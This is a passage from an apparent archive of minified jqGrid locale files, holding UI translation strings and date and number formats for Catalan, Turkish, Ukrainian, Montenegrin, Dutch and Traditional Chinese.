H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-ca.js000064400000011267151677266200012234 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ca={defaults:{recordtext:"Mostrant {0} - {1} de {2}",emptyrecords:"Sense registres que mostrar",loadtext:"Carregant...",savetext:"Saving...",pgtext:"Pàgina {0} de {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Cerca...",Find:"Cercar",Reset:"Buidar",odata:[{oper:"eq",text:"equal"},{oper:"ne",text:"not equal"},{oper:"lt",text:"less"},{oper:"le",text:"less or equal"},{oper:"gt",text:"greater"},{oper:"ge",text:"greater or equal"},{oper:"bw",text:"begins with"},{oper:"bn",text:"does not begin with"},{oper:"in",text:"is in"},{oper:"ni",text:"is not in"},{oper:"ew",text:"ends with"},{oper:"en",text:"does not end with"},{oper:"cn",text:"contains"},{oper:"nc",text:"does not contain"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"tot"},{op:"OR",text:"qualsevol"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Afegir registre",editCaption:"Modificar registre",bSubmit:"Guardar",bCancel:"Cancelar",bClose:"Tancar",saveData:"Les dades han canviat. Guardar canvis?",bYes:"Yes",bNo:"No",bExit:"Cancel",msg:{required:"Camp obligatori",number:"Introdueixi un nombre",minValue:"El valor ha de ser major o igual que ",maxValue:"El valor ha de ser menor o igual a ",email:"no és una direcció de correu vàlida",integer:"Introdueixi un valor enter",date:"Introdueixi una data correcta ",url:"no és una URL vàlida. Prefix requerit ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Veure registre",bClose:"Tancar"},del:{caption:"Eliminar",msg:"¿Desitja eliminar els registres seleccionats?",bSubmit:"Eliminar",bCancel:"Cancelar"},nav:{edittext:" ",edittitle:"Modificar fila seleccionada",addtext:" ",addtitle:"Agregar nova fila",deltext:" ",deltitle:"Eliminar fila seleccionada",searchtext:" ",searchtitle:"Cercar informació",refreshtext:"",refreshtitle:"Refrescar taula",alertcap:"Avís",alerttext:"Seleccioni una fila",viewtext:" ",viewtitle:"Veure fila seleccionada",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Mostrar/ocultar columnes",bSubmit:"Enviar",bCancel:"Cancelar"},errors:{errcap:"Error",nourl:"No s'ha especificat una URL",norecords:"No hi ha dades per processar",model:"Les columnes de noms són diferents de les columnes del model"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Dg","Dl","Dt","Dc","Dj","Dv","Ds","Diumenge","Dilluns","Dimarts","Dimecres","Dijous","Divendres","Dissabte"],monthNames:["Gen","Febr","Març","Abr","Maig","Juny","Jul","Ag","Set","Oct","Nov","Des","Gener","Febrer","Març","Abril","Maig","Juny","Juliol","Agost","Setembre","Octubre","Novembre","Desembre"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d-m-Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"show",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-tr.js000064400000011222151677266200012265 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.tr={defaults:{recordtext:"{0}-{1} listeleniyor. Toplam:{2}",emptyrecords:"Kayıt bulunamadı",loadtext:"Yükleniyor...",pgtext:"{0}/{1}. Sayfa",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Arama...",Find:"Bul",Reset:"Temizle",odata:[{oper:"eq",text:"eşit"},{oper:"ne",text:"eşit değil"},{oper:"lt",text:"daha az"},{oper:"le",text:"daha az veya eşit"},{oper:"gt",text:"daha fazla"},{oper:"ge",text:"daha fazla veya eşit"},{oper:"bw",text:"ile başlayan"},{oper:"bn",text:"ile başlamayan"},{oper:"in",text:"içinde"},{oper:"ni",text:"içinde değil"},{oper:"ew",text:"ile biten"},{oper:"en",text:"ile bitmeyen"},{oper:"cn",text:"içeren"},{oper:"nc",text:"içermeyen"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"VE",text:"tüm"},{op:"VEYA",text:"herhangi"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Kayıt Ekle",editCaption:"Kayıt Düzenle",bSubmit:"Gönder",bCancel:"İptal",bClose:"Kapat",saveData:"Veriler değişti! Kayıt edilsin mi?",bYes:"Evet",bNo:"Hayıt",bExit:"İptal",msg:{required:"Alan gerekli",number:"Lütfen bir numara giriniz",minValue:"girilen değer daha büyük ya da buna eşit olmalıdır",maxValue:"girilen değer daha küçük ya da buna eşit olmalıdır",email:"geçerli bir e-posta adresi değildir",integer:"Lütfen bir tamsayı giriniz",url:"Geçerli bir URL değil. ('http://' or 'https://') ön eki gerekli.",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Kayıt Görüntüle",bClose:"Kapat"},del:{caption:"Sil",msg:"Seçilen kayıtlar silinsin mi?",bSubmit:"Sil",bCancel:"İptal"},nav:{edittext:" ",edittitle:"Seçili satırı düzenle",addtext:" ",addtitle:"Yeni satır ekle",deltext:" ",deltitle:"Seçili satırı sil",searchtext:" ",searchtitle:"Kayıtları bul",refreshtext:"",refreshtitle:"Tabloyu yenile",alertcap:"Uyarı",alerttext:"Lütfen bir satır seçiniz",viewtext:"",viewtitle:"Seçilen satırı görüntüle",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Sütunları göster/gizle",bSubmit:"Gönder",bCancel:"İptal"},errors:{errcap:"Hata",nourl:"Bir url yapılandırılmamış",norecords:"İşlem yapılacak bir kayıt yok",model:"colNames uzunluğu <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Paz","Pts","Sal","Çar","Per","Cum","Cts","Pazar","Pazartesi","Salı","Çarşamba","Perşembe","Cuma","Cumartesi"],monthNames:["Oca","Şub","Mar","Nis","May","Haz","Tem","Ağu","Eyl","Eki","Kas","Ara","Ocak","Şubat","Mart","Nisan","Mayıs","Haziran","Temmuz","Ağustos","Eylül","Ekim","Kasım","Aralık"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-uk.js000064400000013372151677266200012267 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ua={defaults:{recordtext:"Перегляд {0} - {1} з {2}",emptyrecords:"Немає записів для перегляду",loadtext:"Завантаження...",pgtext:"Стор. {0} з {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Пошук...",Find:"Знайти",Reset:"Скидання",odata:[{oper:"eq",text:"рівно"},{oper:"ne",text:"не рівно"},{oper:"lt",text:"менше"},{oper:"le",text:"менше або рівне"},{oper:"gt",text:"більше"},{oper:"ge",text:"більше або рівне"},{oper:"bw",text:"починається з"},{oper:"bn",text:"не починається з"},{oper:"in",text:"знаходиться в"},{oper:"ni",text:"не знаходиться в"},{oper:"ew",text:"закінчується на"},{oper:"en",text:"не закінчується на"},{oper:"cn",text:"містить"},{oper:"nc",text:"не містить"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"все"},{op:"OR",text:"будь-який"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Додати запис",editCaption:"Змінити запис",bSubmit:"Зберегти",bCancel:"Відміна",bClose:"Закрити",saveData:"До данних були внесені зміни! Зберегти зміни?",bYes:"Так",bNo:"Ні",bExit:"Відміна",msg:{required:"Поле є обов'язковим",number:"Будь ласка, введіть правильне число",minValue:"значення повинне бути більше або дорівнює",maxValue:"значення повинно бути менше або дорівнює",email:"некоректна адреса електронної пошти",integer:"Будь ласка, введення дійсне ціле значення",date:"Будь ласка, введення дійсне значення дати",url:"не дійсний URL. Необхідна приставка ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Переглянути запис",bClose:"Закрити"},del:{caption:"Видалити",msg:"Видалити обраний запис(и)?",bSubmit:"Видалити",bCancel:"Відміна"},nav:{edittext:" ",edittitle:"Змінити вибраний запис",addtext:" ",addtitle:"Додати новий запис",deltext:" ",deltitle:"Видалити вибраний запис",searchtext:" ",searchtitle:"Знайти записи",refreshtext:"",refreshtitle:"Оновити таблицю",alertcap:"Попередження",alerttext:"Будь ласка, виберіть запис",viewtext:"",viewtitle:"Переглянути обраний запис",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Показати/Приховати стовпці",bSubmit:"Зберегти",bCancel:"Відміна"},errors:{errcap:"Помилка",nourl:"URL не задан",norecords:"Немає записів для обробки",model:"Число полів не відповідає числу стовпців таблиці!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Нд","Пн","Вт","Ср","Чт","Пт","Сб","Неділя","Понеділок","Вівторок","Середа","Четвер","П'ятниця","Субота"],monthNames:["Січ","Лют","Бер","Кві","Тра","Чер","Лип","Сер","Вер","Жов","Лис","Гру","Січень","Лютий","Березень","Квітень","Травень","Червень","Липень","Серпень","Вересень","Жовтень","Листопад","Грудень"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n.j.Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y G:i:s",MonthDay:"F d",ShortTime:"G:i",LongTime:"G:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-me.js000064400000011240151677266200012241 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.me={defaults:{recordtext:"Pregled {0} - {1} od {2}",emptyrecords:"Ne postoji nijedan zapis",loadtext:"Učitivanje...",pgtext:"Strana {0} od {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Traženje...",Find:"Traži",Reset:"Resetuj",odata:[{oper:"eq",text:"jednako"},{oper:"ne",text:"nije jednako"},{oper:"lt",text:"manje"},{oper:"le",text:"manje ili jednako"},{oper:"gt",text:"veće"},{oper:"ge",text:"veće ili jednako"},{oper:"bw",text:"počinje sa"},{oper:"bn",text:"ne počinje sa"},{oper:"in",text:"je u"},{oper:"ni",text:"nije u"},{oper:"ew",text:"završava sa"},{oper:"en",text:"ne završava sa"},{oper:"cn",text:"sadrži"},{oper:"nc",text:"ne sadrži"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"sva"},{op:"OR",text:"bilo koje"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Dodaj zapis",editCaption:"Izmjeni zapis",bSubmit:"Pošalji",bCancel:"Odustani",bClose:"Zatvori",saveData:"Podatak je izmjenjen! Sačuvaj izmjene?",bYes:"Da",bNo:"Ne",bExit:"Odustani",msg:{required:"Polje je obavezno",number:"Unesite ispravan broj",minValue:"vrijednost mora biti veća od ili jednaka sa ",maxValue:"vrijednost mora biti manja ili jednaka sa",email:"nije ispravna email adresa, nije valjda da ne umiješ ukucati mail!?",integer:"Ne zajebaji se unesi cjelobrojnu vrijednost ",date:"Unesite ispravan datum",url:"nije ispravan URL. Potreban je prefiks ('http://' or 'https://')",nodefined:" nije definisan!",novalue:" zahtjevana je povratna vrijednost!",customarray:"Prilagođena funkcija treba da vrati niz!",customfcheck:"Prilagođena funkcija treba da bude prisutana u slučaju prilagođene provjere!"}},view:{caption:"Pogledaj zapis",bClose:"Zatvori"},del:{caption:"Izbrisi",msg:"Izbrisi izabran(e) zapise(e)?",bSubmit:"Izbriši",bCancel:"Odbaci"},nav:{edittext:"",edittitle:"Izmjeni izabrani red",addtext:"",addtitle:"Dodaj novi red",deltext:"",deltitle:"Izbriši izabran red",searchtext:"",searchtitle:"Nađi zapise",refreshtext:"",refreshtitle:"Ponovo učitaj podatke",alertcap:"Upozorenje",alerttext:"Izaberite red",viewtext:"",viewtitle:"Pogledaj izabrani red",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Izaberi kolone",bSubmit:"OK",bCancel:"Odbaci"},errors:{errcap:"Greška",nourl:"Nije postavljen URL",norecords:"Nema zapisa za obradu",model:"Dužina modela colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Ned","Pon","Uto","Sre","Čet","Pet","Sub","Nedelja","Ponedeljak","Utorak","Srijeda","Četvrtak","Petak","Subota"],monthNames:["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Avg","Sep","Okt","Nov","Dec","Januar","Februar","Mart","April","Maj","Jun","Jul","Avgust","Septembar","Oktobar","Novembar","Decembar"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-nl.js000064400000011220151677266200012247 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.nl={defaults:{recordtext:"regels {0} - {1} van {2}",emptyrecords:"Geen data gevonden.",loadtext:"Laden...",pgtext:"pagina {0} van {1}",savetext:"Saving...",pgfirst:"Eerste Pagina",pglast:"Laatste Pagina",pgnext:"Volgende Pagina",pgprev:"Vorige Pagina",pgrecs:"Records per Pagina",showhide:"Schakelen Uitklappen Inklappen Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Zoeken...",Find:"Zoek",Reset:"Herstellen",odata:[{oper:"eq",text:"gelijk aan"},{oper:"ne",text:"niet gelijk aan"},{oper:"lt",text:"kleiner dan"},{oper:"le",text:"kleiner dan of gelijk aan"},{oper:"gt",text:"groter dan"},{oper:"ge",text:"groter dan of gelijk aan"},{oper:"bw",text:"begint met"},{oper:"bn",text:"begint niet met"},{oper:"in",text:"is in"},{oper:"ni",text:"is niet in"},{oper:"ew",text:"eindigt met"},{oper:"en",text:"eindigt niet met"},{oper:"cn",text:"bevat"},{oper:"nc",text:"bevat niet"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"alle"},{op:"OR",text:"een van de"}],operandTitle:"Klik om de zoekterm te selecteren.",resetTitle:"Herstel zoekterm",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Nieuw",editCaption:"Bewerken",bSubmit:"Opslaan",bCancel:"Annuleren",bClose:"Sluiten",saveData:"Er is data aangepast! Wijzigingen opslaan?",bYes:"Ja",bNo:"Nee",bExit:"Sluiten",msg:{required:"Veld is verplicht",number:"Voer a.u.b. geldig nummer in",minValue:"Waarde moet groter of gelijk zijn aan ",maxValue:"Waarde moet kleiner of gelijk zijn aan",email:"is geen geldig e-mailadres",integer:"Voer a.u.b. een geldig getal in",date:"Voer a.u.b. een geldige waarde in",url:"is geen geldige URL. Prefix is verplicht ('http://' or 'https://')",nodefined:" is niet gedefineerd!",novalue:" return waarde is verplicht!",customarray:"Aangepaste functie moet array teruggeven!",customfcheck:"Aangepaste function moet aanwezig zijn in het geval van aangepaste controle!"}},view:{caption:"Tonen",bClose:"Sluiten"},del:{caption:"Verwijderen",msg:"Verwijder geselecteerde regel(s)?",bSubmit:"Verwijderen",bCancel:"Annuleren"},nav:{edittext:"",edittitle:"Bewerken",addtext:"",addtitle:"Nieuw",deltext:"",deltitle:"Verwijderen",searchtext:"",searchtitle:"Zoeken",refreshtext:"",refreshtitle:"Vernieuwen",alertcap:"Waarschuwing",alerttext:"Selecteer a.u.b. een regel",viewtext:"",viewtitle:"Openen",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Tonen/verbergen kolommen",bSubmit:"OK",bCancel:"Annuleren"},errors:{errcap:"Fout",nourl:"Er is geen URL gedefinieerd",norecords:"Geen data om te verwerken",model:"Lengte van 'colNames' is niet gelijk aan 'colModel'!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"EUR ",suffix:"",defaultValue:"0.00"},date:{dayNames:["Zo","Ma","Di","Wo","Do","Vr","Za","Zondag","Maandag","Dinsdag","Woensdag","Donderdag","Vrijdag","Zaterdag"],monthNames:["Jan","Feb","Maa","Apr","Mei","Jun","Jul","Aug","Sep","Oct","Nov","Dec","Januari","Februari","Maart","April","Mei","Juni","Juli","Augustus","September","October","November","December"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l d F Y G:i:s",MonthDay:"d F",ShortTime:"G:i",LongTime:"G:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-tw.js000064400000010672151677266200012302 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.tw={defaults:{recordtext:"{0} - {1} 共 {2} 條",emptyrecords:"沒有記錄",loadtext:"載入中...",pgtext:" {0} 共 {1} 頁",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"搜尋...",Find:"搜尋",Reset:"重設",odata:[{oper:"eq",text:"等於 "},{oper:"ne",text:"不等於 "},{oper:"lt",text:"小於 "},{oper:"le",text:"小於等於 "},{oper:"gt",text:"大於 "},{oper:"ge",text:"大於等於 "},{oper:"bw",text:"開始於 "},{oper:"bn",text:"不開始於 "},{oper:"in",text:"在其中 "},{oper:"ni",text:"不在其中 "},{oper:"ew",text:"結束於 "},{oper:"en",text:"不結束於 "},{oper:"cn",text:"包含 "},{oper:"nc",text:"不包含 "},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"所有"},{op:"OR",text:"任一"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"新增記錄",editCaption:"編輯記錄",bSubmit:"提交",bCancel:"取消",bClose:"關閉",saveData:"資料已改變,是否儲存?",bYes:"是",bNo:"否",bExit:"取消",msg:{required:"此欄必要",number:"請輸入有效的數字",minValue:"值必須大於等於 ",maxValue:"值必須小於等於 ",email:"不是有效的e-mail地址",integer:"請輸入有效整数",date:"請輸入有效時間",url:"網址無效。前綴必須為 ('http://' 或 'https://')",nodefined:" 未定義!",novalue:" 需要傳回值!",customarray:"自訂函數應傳回陣列!",customfcheck:"自訂檢查應有自訂函數!"}},view:{caption:"查看記錄",bClose:"關閉"},del:{caption:"刪除",msg:"刪除已選記錄?",bSubmit:"刪除",bCancel:"取消"},nav:{edittext:"",edittitle:"編輯已選列",addtext:"",addtitle:"新增列",deltext:"",deltitle:"刪除已選列",searchtext:"",searchtitle:"搜尋記錄",refreshtext:"",refreshtitle:"重新整理表格",alertcap:"警告",alerttext:"請選擇列",viewtext:"",viewtitle:"檢視已選列",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"選擇欄",bSubmit:"確定",bCancel:"取消"},errors:{errcap:"錯誤",nourl:"未設定URL",norecords:"無需要處理的記錄",model:"colNames 和 colModel 長度不同!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["日","一","二","三","四","五","六","星期日","星期一","星期二","星期三","星期四","星期五","星期六"],monthNames:["一","二","三","四","五","六","七","八","九","十","十一","十二","一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],AmPm:["上午","下午","上午","下午"],S:function(e){return 